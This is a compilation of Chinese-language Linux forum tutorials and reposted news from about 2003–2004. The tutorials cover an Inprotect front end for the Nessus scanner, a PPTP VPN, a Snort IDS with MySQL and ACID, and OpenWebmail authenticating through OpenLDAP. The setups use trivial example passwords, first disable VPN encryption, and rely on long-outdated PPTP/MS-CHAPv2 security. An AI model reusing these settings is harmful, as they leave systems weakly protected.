            Update for config "/etc/awstats/awstats.squid.myunix.idv.tw.conf"
            With data in log file "/var/log/squid/access_log"...
            Phase 1 : First bypass old records, searching new record...
            Direct access after last parsed record (after line 4311)
            Jumped lines in file: 4311
             Found 4311 already parsed records.
            Parsed lines in file: 0
             Found 0 dropped records,
             Found 0 corrupted records,
             Found 0 old records,
             Found 0 new qualified records.


          (4)開啟Browser,輸入 http://www.xxx.xxx/awstats/awstats.pl?config=squid.myunix.idv.tw ,便可檢視你剛剛所產生的報表了。

          (5)記得將步驟(3)的指令設定在crontab,讓它定期產生Log Report

          4
          【描述】

          Nessus是一套免費及功能強大的弱點掃描系統,而搭配Inprotect可以達到以下功能

            特色:
            ●Web Interface for Nessus & Nmap.
            ●Support for backend database for security scan results.
            ●Ability to schedule daily, weekly, monthly or manual scans.
            ●Automated Nessus plugins update.
            ●Multi-user.
            ●Ability to identify false positives within scan results.
            ●Report generation in PDF format.
            ●Support for SSL encryption.
            ●Advanced user management.
            ●Separation of privileges.
            ●Advanced reporting using Jpgraph.
            ●Support for multiple Nessus scanners to perform distributed ●vulnerability testing on large enterprise level networks.  


          =========================================
          作者: zoob (vincent@myunix.idv.tw)

          版權聲明:可以任意轉載,轉載時請務必標明原始出處和作者資訊

          【安裝步驟】

          測試環境:
            Linux RH 9.0
            apache 2.0.49
            php 4.3.7
            gd 2.0.26
            mysql 4.0.20
            nessus 2.0.10
            inprotect 0.18


          一、事前檢查事項

          (1)檢查PHP是否有支援GD2
          PHP預設並未將GD2 Compile進去,故請重新Compile Apache + PHP + GD2 + MySQL

          二、安裝

          (1)安裝Nessus,並確認是否可正常執行Nessus Vulnerability Scan動作
          註:此處我並不詳細說明Nesssu安裝步驟,請參閱以下網址說明
          安裝及使用Nessus


          (2)安裝Inprotect

          (2-1)請下載 Inprotec 0.18a 主程式(including JpGraph files)Patch-Install.sh

          (2-2)解壓縮 inprotect_018a_jpgraph.tar.gz , 並請執行以下指令

          代碼: [選擇]
          patch -p2 < install.patch

          請在 File to patch: 輸入 install.sh

          (2-3)編輯console/sql/inprotec.sql,刪除以下敘述(約在 60~75 行間),此敘述會造成Import DB錯誤

          代碼: [選擇]
          CREATE TABLE inprotect_settings (
            nessus_plugins_url varchar(255) NOT NULL default '',
            nessus_plugins_file varchar(255) NOT NULL default '',
            nessus_install_url varchar(255) NOT NULL default '',
            nessus_install_file varchar(255) NOT NULL default '',
            mailfrom varchar(255) NOT NULL default '',
            inprotect_url varchar(255) NOT NULL default '',
            inprotect_path varchar(255) NOT NULL default ''
          ) TYPE=MyISAM;

          --
          -- Dumping data for table 'inprotect_settings'
          --


          INSERT INTO inprotect_settings VALUES ('http://www.nessus.org/nasl/','all-2.0.tar.gz','http://install.nessus.org','nessus-installer.sh','root@localhost','http://192.168.1.37','/srv/www/htdocs');



          (2-4)執行 install.sh,並選擇你想安裝的Componet選項(如果安裝Web Interface、Database、Scanner在同一台機器的話,請選擇 5)

            Inprotect installation
            ======================
            Please run this installation as root user
            1 - Install web interface only
            2 - Install database only
            3 - install web & database components
            4 - install scanner only
            5 - install web, db & scanner
            Q - Quit without installation
            Make your selection [1-5]


          接下來install.sh會問你一些問題,請依序輸入答案

          (2-5)檢查Mysql是否有新增一DB,名稱為Inprotect,並且相關的使用者(Default: inprotect@localhost )是否有權限可存取

          (2-6)複製 scanner/nessus_run.plscanner/inprotect_reset.plscanner/port_scan.plconsole/scripts/fetchupdates.plconsole/scripts/sched.pl ]、console/scripts/updateplugins.pl /usr/local/bin目錄下

          (2-7)複製 inprotect.cfg/usr/local/etc,並編輯 /usr/local/etc/inprotect.cfg
          設定相關選項

            #指定Nessus client 的絕對路徑
            NESSUSPATH=

            #Inprotect所使用的Database 名稱
            DATABASENAME=inprotect

            #Inprotect所使用的Database ip
            DATABASEHOST=localhost

            #Inprotect所存取的Database 的使用者名稱
            DATABASEUSER=inprotect

            #前一選項所提定的Inprotect所存取的Database 的使用者名稱之密碼
            DATABASEPASSWORD=inprotect

            #Nessus scan logfile存放位置及檔案名稱
            NESSUSLOG=/var/log/nessus_scan.log

            #Port scan log存放位置及檔案名稱
            PORTSCANLOG=/var/log/portscan.log

            #Update plugins log file存放位置及檔案名稱
            UPDATEPLUGINSLOG=/var/log/updateplugins.log


          (2-8)編輯/var/www/html/inprotect/config.php
          設定相關選項

            #指定dbtype
            $dbtype="mysql"

            #指定DB的ip
            $dbhost="localhost"

            #指定存取$dbname的使用者名稱
            $dbuname="inprotect"

            #指定存取$dbname使用者之密碼
            $dbpass="inprotect"

            #指定Inprotect的DB name
            $dbname="inprotect"


          (2-9)以上選項設定完畢後,請執行 updateplugins.pl ,並檢查 /var/log/updateplugins.log 是否有錯誤訊息,更新正常的話,會在 inprotect DB的nessus_plugins Table產生Plugins的相關Record

          三、設定Inprotect

          (1)開啟瀏覽器,並在網址列裡輸入 http://xxx.xxx.xxx.xxx/inprotect

          (2)輸入Username/Password(預設Admin/password)

          (3)設定 Settings\Inprotect Settings
          設定以下選項

            #指定E-mail Report時,寄件者名稱
            Mail From Address

            #指定Inprotect的FQDN(影響E-mail Report裡的url linke)
            Inprotect URL

            #指定Inprotect的WebRoot路徑(影響Download Plugins時的暫存路徑)
            Inprotect Webroot


          (4)設定Settings\Scanner Profiles
          建立新Profile(請點選Create New Profile)

          (5)設定Settings\Nessus Server
          如果有多台Nessus Scanner的話,則請一一建立Nessus Server(請點選Add new Nessus Server)

          (6)設定Settings\Network Zones Setup
          請依規劃建立各網路區域設定,並指定該網路區域由哪一台Nessus Server來執行弱點掃描

          (7)因為Admin權限滿大的,故建立另外建議新增一使用者來負責建立Security Scan(例如:新增一使用者-nessus,權限為Manage Profiles、Manage Zones and Servers、Run Nmap Scans、Run Nessus Scans)

          (8)重新登入為該使用者(例如: nessus)

          (9)設定Security Scan\Nessus Scan\New Schedule

          (9-1)指定Schedules名稱->Save

          (9-2)指定要被掃描伺服器Hostname/IP Address,輸入完畢後,請點選Add Host

          (9-3)點選Manage Schedule,指定此Schedule要套用的弱點掃描Profile及進行掃描的時間

          (10)掃描完畢後所產生的報告會出現在Reports

          (11)設定root cron
          請新增以下內容至root的cron
          代碼: [選擇]
          */1 * * * * /usr/local/bin/nessus_run.pl
          */1 * * * * /usr/local/bin/port_scan.pl

          */1 * * * * /usr/local/bin/sched.pl

          5 * * * * /usr/local/bin/fetchupdates.pl



          註1:如要進行中文化,請自行修改 /var/www/html/inprotect 目錄下 相關的 php 檔案即可。

          註2:如要修改 E-mail Report 主旨,請自行修改 /usr/local/etc/inprotect.conf

          註3:如要修改 E-mail Report 內容,請自行修改 /usr/local/bin/sched.pl

          註4:執行updateplugins.pl時,會出現「ERROR 1062 at line 1150: Duplicate entry "12007" for key 1」
          請將/usr/local/etc/nessus/plugins目錄下所有的檔案全數刪除,並請清空 inprotect DB的nessus_plugins Table。並請重新執行 updateplugins.pl

          5
            SCO推遲向所有Linux商業使用者送出發票以敦促他們購買Linux使用許可證的計劃,SCO稱Linux侵犯了它的Unix知識產權。
            在SCO計劃以雙倍價格索取Linux使用許可費後,它把送出發票計劃推遲到10月31日。在星期三,這個公司說許可費將增加。
            SCO發言人Blake Stowell說,“經理們說還沒有到非那樣做不可的時候,他們對版權許可計劃的進展表示滿意”。
            Gartner分析員George Weiss說,這個舉動看起來像按照“詳細計劃與導演劇本”策略進行的調整。SCO可能擔心它的發票的不公正的目標僅僅是一小部分市場使用者。另外,如果這些公司拒絕給付費用,SCO將面臨一大批訴訟。
            Weiss說,SCO小心地一點一點地揭開它的計劃的面紗,“這不是我胡亂猜測,它仔細設計以給使用者壓力,讓使用者屈服”。
            SCO的許可計劃已經遭到開源倡導者的指責,被分析者批評,瑞士信貸第一波士頓(Credit Suisse First Boston)組織的一次投票調查顯示,84%的CIO對此不予理睬。(ZDNet China)

          6
          酷!學園 精華區 / 安裝及架設VPN-PPTP
          « 於: 2003-05-14 21:09 »
          安裝及架設VPN-PPTP

          作者: zoob (vincent@myunix.adsldns.org)

          版權聲明:可以任意轉載,轉載時請務必標明原始出處和作者資訊

          前言

          PoPToP是在Linux上建置VPN的其中一種方法,它可以讓Linux、Windows 95、98、NT、2000可利用現有套件簡單的撥號網路與VPN Server建立安全的VPN通道。目前可支援40及128位元的加密方式。PoPTop是適用於GPL授權方式的軟體。

          PoPToP的首頁: http://www.moretonbay.com/con/pptp.html

          安裝環境

          Redhat 7.3(Kernel 2.4.20)
          PPP-2.4.1
          PPTP-1.1.4

          一、設定及啟動PPP、PPTP

          安裝PPP

          (1)首先請先至 http://public.planetmirror.com/pub/mppe/ 下載 ppp-2.4.1-3mppe.src.rpm

          (2)rpm -ivh ppp-2.4.1-3mppe.src.rpm

          (3)cd /usr/src/redhat/SOURCE

          (4)解壓縮ppp-mppe-2.4.1.tar.gz

          (5)cd ppp-mppe-2.4.1

          (6)./configure;make;make install

          安裝pptpd

          (1)首先請先至 http://sourceforge.net/project/showfiles.php?group_id=44827 下載 pptpd-1.1.4-b3.tar.gz

          (2)解壓縮pptpd-1.1.4-b3.tar.gz

          (3)./configure;make;make install


          設定/etc/ppp/chap-secrets

          增加帳號及密碼,範例如下:

          代碼: [選擇]
          # Secrets for authentication using CHAP
          # client        server  secret                  IP addresses
          vincent         *       1234                  *


          設定/etc/pptpd.conf

          範例如下:

          代碼: [選擇]
          debug
          option /etc/ppp/options.pptp
          localip 192.168.0.1
          remoteip 192.168.1.1-100


          註:localip和remoteip的最大連接數為100個,超過的話,將會忽略連接要求

          設定/etc/ppp/options.pptp

          此處的檔案名稱可隨意取名,但是須與/etc/pptpd.conf裡面的option選項的檔案相符合,範例如下:

          lock
          debug
          auth
          +chap
          proxyarp


          Enable IPforward

          代碼: [選擇]
          echo 1 > /proc/sys/net/ipv4/ip_forward

          啟動pptpd

          代碼: [選擇]
          pptpd -d

          注意/var/log/messages有無錯誤訊息

          啟動成功後,會多出一interface,叫做ppp0

          新增Windows 2000的「虛擬私人連線」

          (1)新增連線
          「桌面」->在「網路上芳鄰」按滑鼠右鍵->「內容」->「建立新連線」->「透過Internet連線到私人網路」->輸入主機名稱(192.168.0.1)->完成

          (2)設定連線

          請將連線內容裡「安全性」的「要求資料加密」取消選取->「確定」

          (3)測試連線

          Double Click該連線,輸入「使用者名稱」及「密碼」->連線

          連線成功後,會多出一虛擬介面叫做「PPP adapter 虛擬私人連線:」
          它的Ip address為192.168.1.xx

          檢查是否能ping到192.168.0.1及192.168.1.0其它的ip

          以上步驟只是讓你能建立PPTP連線,並未有加密的功能。如要增加加密功能,請參考以下步驟

          二、PPP+MPPE

          重新編譯Kernel

          http://public.planetmirror.com/pub/mppe/ 下載linux-2.4.19-openssl-0.9.6b-mppe.patch.gz

          (1)cd /usr/src/linux-2.4.20

          (2)zcat /tmp/linux-2.4.19-openssl-0.9.6b-mppe.patch.gz | patch -p1

          (3)開始compile kernel,這裡不加以敘述過程
          請注意在compile kernel,在Network Device裡,一定要將下列項目編譯為Modules

            <M>   PPP support for async serial ports
            <M>   PPP support for sync tty ports
            <M>   PPP Deflate compression
            <M>   PPP BSD-Compress compression


          (4)Compile Kernel完畢後,請在/etc/modules.conf加入以下敘述

            alias char-major-108 ppp_generic
            alias /dev/ppp ppp_generic
            alias tty-ldisc-3 ppp_async
            alias tty-ldisc-14 ppp_synctty
            alias ppp-compress-18 ppp_mppe
            alias ppp-compress-21 bsd_comp
            alias ppp-compress-24 ppp_deflate
            alias ppp-compress-26 ppp_deflate


          (5)重新開機

          (6)重新編譯ppp

          請至 http://public.planetmirror.com/pub/mppe/ 下載 ppp-2.4.1-MSCHAPv2-fix.patch.gz  至 /tmp目錄

          1. 至 /usr/src/redhat/SOURCE/ppp-mppe-2.4.1目錄下執行以下指令

          代碼: [選擇]
          zcat /tmp/ppp-2.4.1-MSCHAPv2-fix.patch.gz | patch -p1
          ./configure
          make
          make install


          (7)修改/etc/ppp/options.pptp

            lock
            debug
            proxyarp
            auth
            +chap
            +chapms
            +chapms-v2
            mppe-40
            mppe-128
            mppe-stateless
            ms-wins 192.168.1.2
            ms-dns 192.168.1.2


          (8)重新啟動pptpd daemon

          代碼: [選擇]
          killall pptpd;pptpd -d

          (9)建立VPN-PPTP連線

          Windows 2000、XP

          新增Windows 2000的「虛擬私人連線」

          1.新增連線
          「桌面」->在「網路上芳鄰」按滑鼠右鍵->「內容」->「建立新連線」->「透過Internet連線到私人網路」->輸入主機名稱(192.168.0.1)->完成

          2.設定連線

          請將勾選連線內容裡「安全性」的「要求資料加密」->「確定」

          3.測試連線

          Double Click該連線,輸入「使用者名稱」及「密碼」->連線

          連線成功後,會多出一虛擬介面叫做「PPP adapter 虛擬私人連線:」
          它的Ip address為192.168.1.xx

          檢查是否能ping到192.168.0.1及192.168.1.0其它的ip

          在右下角的網路連線圖示裡,點選滑鼠右鍵->選擇「狀態」->選擇「詳細資料」

          此時的內容應該為

            伺服器類型                       PPP
            傳輸                                   TCP/IP
            驗證                                   MS CHAP V2
            加密                                   MPPE 128
            壓縮                                   無
            PPP多重連結架構            關閉
            伺服器IP位址                   192.168.0.1
            用戶端IP位址                   192.168.1.1


          Windows 9x


          依作業系統不同至以下網址下載新的Dial Up Networking Tool,目前最新版本為1.4

          Windows 95

          http://www.microsoft.com/windows95/downloads

          Windows 98

          http://www.microsoft.com/windows95/downloads/corporate.asp


          也可下載128位元Dial Up Networking Tool程式

          http://support.microsoft.com/support/ntserver/128eula.asp

          設定撥號網路

          1.開啟撥號網路->建立新的連線->裝置請選擇Microsoft VPN Adapter->輸入PPTP Server(192.168.0.1)->完成

          2.使用滑鼠右鍵點選剛剛建立的VPN連線->選取內容->選擇伺服器類型->勾選密碼加密->取消勾選Netbeui和Ipx/Spx->確定

          3.點選VPN連線->輸入使用者名稱及密碼

          4.完成

          參考文件網址

          http://www.poptop.org/
          http://pptpclient.sourceforge.net/
          http://public.planetmirror.com/pub/mppe/


          註1:PPTP是走Protocol 47的GRE protocol,請記得在防火牆開啟此規則

          註2:如要看到網路上的芳鄰時,請在/etc/ppp/options.ppp指定ms-wins選項即可

          註3:為何無法連線至192.168.1.1以外的電腦?

          請啟動ip_forward及proxyarp.....

          7
          安裝Snort + MySQL + ACID + IDS Policy Manager

          前言:

          目前Intrusion Dection Service非常的流行,而Snort這個程式雖然是個自由軟體,但是它的功能卻絲毫不遜於其它的商業軟體。而此篇文章另外會介紹IDS Policy Manager和ACID(Analysis Console for Intrusion Databases )來管理你的rule和分析log。
          =========================================
          作者: zoob (vincent@myunix.adsldns.org)

          版權聲明:可以任意轉載,轉載時請務必標明原始出處和作者資訊


          1、準備工作

          OS:RedHat 8.0

          請事先安裝以下套件
          (1)Apache 1.3
          (2)PHP、PHP-MySQL
          (3)mysqlclient9-3.23、mysql-devel-3.23、mysql-3.23、mysql-server-3.23
          (4)libpcap-0.6.2


          2、安裝Snort

          (1)請至 http://www.snort.org 下載  snort-1.9.0-1snort.i386.rpmsnort-mysql-1.9.0-1snort.i386.rpm,並且請安裝起來

          (2)下載 Snort-Rules,並將解壓縮並複製到/etc/snort/目錄下

          (3)下載 IDS Policy Manager,解壓縮後請在Windows 平台上執行安裝程式來管理snort agent。

          (4)請在IDS Policy Manager裡增加一Sensor和Policy,設定系統為1.90。

          (5)啟動Policy裡面的「Loging」->「Database」(記得打勾),並設定範例如下:
            「Sensor」:Your Sensor Name
            「DB Name」:snort
            「DB Type」:mysql
            「Encoding」:hex
            「Log Rule Type」:log
            「Detail」:full
            「User」:snort
            「User Pass」:snort
            「DB Host」:localhost
            「DB Port」:3306


          (6)設定完畢後,請選擇「Save & Exit」

          (7)針對先前增加的Sensor執行「Uppolicy to Sensor」

          3、設定Mysql的DB

          (1)建立一個名為「snort」的DB

          代碼: [選擇]
          mysqladmin -u root -ppassword create snort

          (2)將以下敘述存做為一檔案(ex: create_mysql)

            # Copyright (C) 2000-2002 Carnegie Mellon University
            #
            # Maintainer: Roman Danyliw <rdd@cert.org>, <roman@danyliw.com>
            #
            # Original Author(s): Jed Pickel <jed@pickel.net>    (2000-2001)
            #                     Roman Danyliw <rdd@cert.org>
            #                     Todd Schrubb <tls@cert.org>
            #
            # This program is free software; you can redistribute it and/or modify
            # it under the terms of the GNU General Public License as published by
            # the Free Software Foundation; either version 2 of the License, or
            # (at your option) any later version.
            #
            # This program is distributed in the hope that it will be useful,
            # but WITHOUT ANY WARRANTY; without even the implied warranty of
            # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
            # GNU General Public License for more details.
            #
            # You should have received a copy of the GNU General Public License
            # along with this program; if not, write to the Free Software
            # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

            CREATE TABLE schema ( vseq        INT      UNSIGNED NOT NULL,
                                  ctime       DATETIME NOT NULL,
                                  PRIMARY KEY (vseq));
            INSERT INTO schema  (vseq, ctime) VALUES ('106', now());

            CREATE TABLE event  ( sid         INT      UNSIGNED NOT NULL,
                                  cid         INT      UNSIGNED NOT NULL,
                                  signature   INT      UNSIGNED NOT NULL,
                                  timestamp            DATETIME NOT NULL,
                                  PRIMARY KEY (sid,cid),
                                  INDEX       sig (signature),
                                  INDEX       time (timestamp));

            CREATE TABLE signature ( sig_id       INT          UNSIGNED NOT NULL AUTO_INCREMENT,
                                     sig_name     VARCHAR(255) NOT NULL,
                                     sig_class_id INT          UNSIGNED NOT NULL,
                                     sig_priority INT          UNSIGNED,
                                     sig_rev      INT          UNSIGNED,
                                     sig_sid      INT          UNSIGNED,
                                     PRIMARY KEY (sig_id),
                                     INDEX   sign_idx (sig_name(20)),
                                     INDEX   sig_class_id_idx (sig_class_id));

            CREATE TABLE sig_reference (sig_id  INT    UNSIGNED NOT NULL,
                                        ref_seq INT    UNSIGNED NOT NULL,
                                        ref_id  INT    UNSIGNED NOT NULL,
                                        PRIMARY KEY(sig_id, ref_seq));

            CREATE TABLE reference (  ref_id        INT         UNSIGNED NOT NULL AUTO_INCREMENT,
                                      ref_system_id INT         UNSIGNED NOT NULL,
                                      ref_tag       TEXT NOT NULL,
                                      PRIMARY KEY (ref_id));

            CREATE TABLE reference_system ( ref_system_id   INT         UNSIGNED NOT NULL AUTO_INCREMENT,
                                            ref_system_name VARCHAR(20),
                                            PRIMARY KEY (ref_system_id));

            CREATE TABLE sig_class ( sig_class_id        INT    UNSIGNED NOT NULL AUTO_INCREMENT,
                                     sig_class_name      VARCHAR(60) NOT NULL,
                                     PRIMARY KEY (sig_class_id),
                                     INDEX       (sig_class_id),
                                     INDEX       (sig_class_name));

            # store info about the sensor supplying data
            CREATE TABLE sensor ( sid         INT      UNSIGNED NOT NULL AUTO_INCREMENT,
                                  hostname    TEXT,
                                  interface   TEXT,
                                  filter      TEXT,
                                  detail      TINYINT,
                                  encoding    TINYINT,
                                  last_cid    INT      UNSIGNED NOT NULL,
                                  PRIMARY KEY (sid));

            # All of the fields of an ip header
            CREATE TABLE iphdr  ( sid         INT      UNSIGNED NOT NULL,
                                  cid         INT      UNSIGNED NOT NULL,
                                  ip_src      INT      UNSIGNED NOT NULL,
                                  ip_dst      INT      UNSIGNED NOT NULL,
                                  ip_ver      TINYINT  UNSIGNED,
                                  ip_hlen     TINYINT  UNSIGNED,
                                  ip_tos      TINYINT  UNSIGNED,
                                  ip_len      SMALLINT UNSIGNED,
                                  ip_id       SMALLINT UNSIGNED,
                                  ip_flags    TINYINT  UNSIGNED,
                                  ip_off      SMALLINT UNSIGNED,
                                  ip_ttl      TINYINT  UNSIGNED,
                                  ip_proto    TINYINT  UNSIGNED NOT NULL,
                                  ip_csum     SMALLINT UNSIGNED,
                                  PRIMARY KEY (sid,cid),
                                  INDEX ip_src (ip_src),
                                  INDEX ip_dst (ip_dst));

            # All of the fields of a tcp header
            CREATE TABLE tcphdr(  sid         INT      UNSIGNED NOT NULL,
                                  cid         INT      UNSIGNED NOT NULL,
                                  tcp_sport   SMALLINT UNSIGNED NOT NULL,
                                  tcp_dport   SMALLINT UNSIGNED NOT NULL,
                                  tcp_seq     INT      UNSIGNED,
                                  tcp_ack     INT      UNSIGNED,
                                  tcp_off     TINYINT  UNSIGNED,
                                  tcp_res     TINYINT  UNSIGNED,
                                  tcp_flags   TINYINT  UNSIGNED NOT NULL,
                                  tcp_win     SMALLINT UNSIGNED,
                                  tcp_csum    SMALLINT UNSIGNED,
                                  tcp_urp     SMALLINT UNSIGNED,
                                  PRIMARY KEY (sid,cid),
                                  INDEX       tcp_sport (tcp_sport),
                                  INDEX       tcp_dport (tcp_dport),
                                  INDEX       tcp_flags (tcp_flags));

            # All of the fields of a udp header
            CREATE TABLE udphdr(  sid         INT      UNSIGNED NOT NULL,
                                  cid         INT      UNSIGNED NOT NULL,
                                  udp_sport   SMALLINT UNSIGNED NOT NULL,
                                  udp_dport   SMALLINT UNSIGNED NOT NULL,
                                  udp_len     SMALLINT UNSIGNED,
                                  udp_csum    SMALLINT UNSIGNED,
                                  PRIMARY KEY (sid,cid),
                                  INDEX       udp_sport (udp_sport),
                                  INDEX       udp_dport (udp_dport));

            # All of the fields of an icmp header
            CREATE TABLE icmphdr( sid         INT      UNSIGNED NOT NULL,
                                  cid         INT      UNSIGNED NOT NULL,
                                  icmp_type   TINYINT  UNSIGNED NOT NULL,
                                  icmp_code   TINYINT  UNSIGNED NOT NULL,
                                  icmp_csum   SMALLINT UNSIGNED,
                                  icmp_id     SMALLINT UNSIGNED,
                                  icmp_seq    SMALLINT UNSIGNED,
                                  PRIMARY KEY (sid,cid),
                                  INDEX       icmp_type (icmp_type));

            # Protocol options
            CREATE TABLE opt    ( sid         INT      UNSIGNED NOT NULL,
                                  cid         INT      UNSIGNED NOT NULL,
                                  optid       INT      UNSIGNED NOT NULL,
                                  opt_proto   TINYINT  UNSIGNED NOT NULL,
                                  opt_code    TINYINT  UNSIGNED NOT NULL,
                                  opt_len     SMALLINT,
                                  opt_data    TEXT,
                                  PRIMARY KEY (sid,cid,optid));

            # Packet payload
            CREATE TABLE data   ( sid           INT      UNSIGNED NOT NULL,
                                  cid           INT      UNSIGNED NOT NULL,
                                  data_payload  TEXT,
                                  PRIMARY KEY (sid,cid));

            # encoding is a lookup table for storing encoding types
            CREATE TABLE encoding(encoding_type TINYINT UNSIGNED NOT NULL,
                                  encoding_text TEXT NOT NULL,
                                  PRIMARY KEY (encoding_type));
            INSERT INTO encoding (encoding_type, encoding_text) VALUES (0, 'hex');
            INSERT INTO encoding (encoding_type, encoding_text) VALUES (1, 'base64');
            INSERT INTO encoding (encoding_type, encoding_text) VALUES (2, 'ascii');

            # detail is a lookup table for storing different detail levels
            CREATE TABLE detail  (detail_type TINYINT UNSIGNED NOT NULL,
                                  detail_text TEXT NOT NULL,
                                  PRIMARY KEY (detail_type));
            INSERT INTO detail (detail_type, detail_text) VALUES (0, 'fast');
            INSERT INTO detail (detail_type, detail_text) VALUES (1, 'full');

            # be sure to also use the snortdb-extra tables if you want
            # mappings for tcp flags, protocols, and ports


          (3)匯入create_mysql檔案

          代碼: [選擇]
          mysql -u root -ppassword snort < create_mysql

          (4)建立MySQL的snort使用者

          代碼: [選擇]
          mysql -u root -ppassword snort
          mysql> grant CREATE, INSERT, SELECT, DELETE, UPDATE on snort.* to snort@localhost;
          mysql> connect mysql;
          mysql> set password for 'snort'@'localhost' = password('snort');
          mysql> set password for 'snort'@'%' = password('snort');
          mysql> flush privileges;
          mysql> exit;


          4、安裝ACID

          (1)安裝ACID 0.9.6B23 http://acidlab.sourceforge.net/
          將acid-0.9.*.tar.gz解壓縮至/var/www/html 目錄下

          (2)安裝 ADODB v2.31 http://php.weblogs.com/adodb
          將adodb231.tgz 解壓縮至/var/www/html 目錄下

          (3)安裝 PHPLOT v4.4.6 http://www.phplot.com/
          將phplot-4.4.6.tar.gz 解壓縮至/var/www/html 目錄下,並將phplot-4.4.6目錄更名為phplot

          (4)安裝 GD v1.8.4 http://www.boutell.com/gd/
          將gd-1.8.4.tar.gz 解壓縮至/var/www/html 目錄下,並將gd-1.8.4目錄更名為gd

          (5)安裝 JPGraph v1.11 http://www.aditus.nu/jpgraph/
          解壓縮後,將src目錄下的所有檔案複製到/var/www/html/phplot目錄下

          (6)設定acid_conf.php,範例如下:

          $DBlib_path="../adodb";
          $alert_dbname="snort";
          $alert_user="snort";
          $alert_password="snort";
          $Chartlib_path="../phplot";

          5、啟動相關服務

          (1)啟動mysqld service

          (2)啟動httpd service

          (3)啟動snortd service
          啟動前先要修改/etc/rc.d/init.d/snortd
          將start區段內的
          代碼: [選擇]
          daemon /usr/sbin/snort -A fast -b -l /var/log/snort -d -D -i $INTERFACE -c /etc/snort/snort.conf
          修改為
          代碼: [選擇]
          daemon /usr/sbin/snort -b -d -D -i $INTERFACE -c /etc/snort/snort.conf

          並將INTERFACE對應到你要修改的介面卡,EX INTERFACE=eth1

          切換至/etc/rc.d/init.d 目錄下,執行 chkconfig --level 2345 snortd on,讓你在開機時可以自動啟動服務。

          8
          轉貼來自 LinuxAid

            ZDNet China 4月25日報道Linux作業系統的創始人Torvald星期二又出了一個新主意,在一個主要的Linux郵件群組當中,提出一個引起爭論的提案:在Linux作業系統當中,不應該排除數位內容版權管理(digital rights management, DRM)的技術。DRM技術是透過辨識或鎖定身分的方式,以防止數位內容在未經授權的狀況下被複製。

            在某些開放原始碼和自由軟體的圈子當中,DRM這樣的技術或者是一些認證的方式,常常被視為侵犯了這個圈子所主張的自由。在Torvalds的發言當中,Torvalds則採用了比較實用主義的做法。Torvald認為Linux是一個作業系統,而不是政治運動,所有人應該可以做任何他們想做的事。

            Torvalds在Linux核心程式的郵件群組指出,“我自己未必就喜歡DRM。”“但是我站在歐本海默(原子彈計劃的主持人)的位子,我不希望在Linux上搞一些政治性的策略。我認為使用者可以用Linux來作任何他想做的事,甚至包括也我未必會認可的事。”

            這個發言和一些後續的討論也讓這個原本在開放原始碼社群當中的問題浮上臺面。

            由微軟(Microsoft)和英代爾(Intel)為主的專屬系統的軟體公司和硬體開發廠商,正在發起一些所謂的信賴運算(trusted computing)的計劃。這些支援信賴運算的公司宣稱,這樣一來將可以讓使用者的電腦,免受病毒或特洛伊木馬的侵害。例如微軟的Palladium計劃,就是一個將認證辨識整合到硬體和作業系統的架構。

            有些開放原始碼的開發人員懷疑,到時候有些開放原始碼的程式,可能就沒辦法在所謂標準的電腦上執行。另外一些人則害怕這種認證辨識,只會讓製片廠、唱片公司這些大的媒體公司,對使用者加強在數位內容使用上的控制。

            Torvalds在他的討論當中,也承認如果DRM內建到作業系統當中,像是迪斯尼(Disney)這些媒體內容的擁有者,將得以大展身手。不過Torvalds也指出,擁有值得信賴的軟體,也是非常重要的目標,兩者將無法分割。

            Torvalds表示,“在技術上沒有分別,純粹只是意圖上的差別。意圖也只是看你怎麼去詮釋。”“這也是我為什麼沒有阻止所謂“不當”的使用方式。因為一旦禁止不當的使用方式時,正當的用途也同時被禁止了。”

            Torvalds的發言,隨即引起爭論。這些爭議包含了DRM在Linux作業系統的功能,或者到底要訂定允許DRM的策略等等。許多人也認同Torvalds實用主義的做法,但是其他人則是以技術性或社會性的原因抱持懷疑態度。

            Werner Almesberger在回應當中表示,“如同Linus所指出的,採用DRM有我們想要的好用法,也有不當的用法。”“如果替DRM背書,只是讓不當的用法盛行,而好的卻只有一點點,讓我們就是作了一個糟糕的決定。”

            Torvalds之前曾經對棘手的法律相關問題進行裁決。例如Torvalds就曾允許Linux的作業系統核心求助於專屬的軟體模組。在某些情況下,這是一個重要的問題,例如一些顯示卡的公司,可能想要支援Linux,但是又不願控制產品內部的軟體釋出。

            DRM對Linux來說是好是壞,相關的討論也還在繼續。儘管Torvalds已經影響了整個社群,讓他的意見得以穩固下來,不過Torvalds隨後也表示,他願意被不同的觀點說服。

            Torvalds在一封寫給CNET News.com的信函當中指出,“發表這個看法的一個原因,是希望可以得到回應。”“在討論出現結果之前,我保留更動決定的權利。”

          9
          LDAP 討論區 / Openwebmail與OpenLDAP整合
          « 於: 2003-04-17 00:31 »
          Openwebmail與OpenLDAP整合

          作者: zoob (vincent@myunix.adsldns.org)

          版權聲明:可以任意轉載,轉載時請務必標明原始出處和作者資訊

          前言:
          Openwebmail是個相當不錯的Webmail工具,本篇文章主要在探討如何將Openwebmail的驗證工作交由OpenLDAP來驗證
          Openwebmail主要有兩種auth modules,第一為auth_ldap.pl,此種auth module彈性較為小,不易設定,故此篇文章介紹第二種auth module:auth_pam.pl

          安裝環境:

          RedHat 8.0
          openldap 2.1.15
          pam 0.75-40
          pam 0.75-40-devel
          PAM-LDAP 161
          OpenWebmail 1.81

          準備工作:
          (請依順序安裝)

          (1)安裝OpenLDAP(記得要在compile時加上 --enable-crypt選項)
          (2)安裝nss_ldap
          (3)安裝PAM-devel-xx.xx.rpm
          (4)安裝Authen-PAM (可由 http://www.cs.kuleuven.ac.be/~pelov/pam/http://www.cpan.org 下載)
          (5)PAM-LDAP 161 (可由 http://www.padl.com/ 下載)
          (6)安裝OpenWebmail

          安裝:

          (1)先使用migration tools將passwd和shadow轉換至ldap server

          (2)編輯/var/www/cgi-bin/openwebmail/etc/openwebmail.conf
          auth_module auth_unix.pl變更為 auth_module auth_pam.pl
          增加一行create_homedir yes 此選項會幫沒有家目錄的使用者建立家目錄

          註:create_homedir在2.00後已改成create_syshomedir了

          (3)打開/var/www/cgi-bin/openwebmail/auth_pam.pl
          請注意下列二行

          代碼: [選擇]

          my $pam_servicename="openwebmail"; <===注意此處需與稍後在/etc/pam.d裡的pam檔案名稱相同
          my $pam_passwdfile_plaintext="/etc/passwd"; <===需明確指出你的passwd檔案所在



          (4)編輯 /etc/nsswitch.conf,請注意passwd、shadow、group三行,是否與下面敘述相同:

          代碼: [選擇]
          passwd:    ldap files nisplus
          shadow:     ldap files nisplus ldap
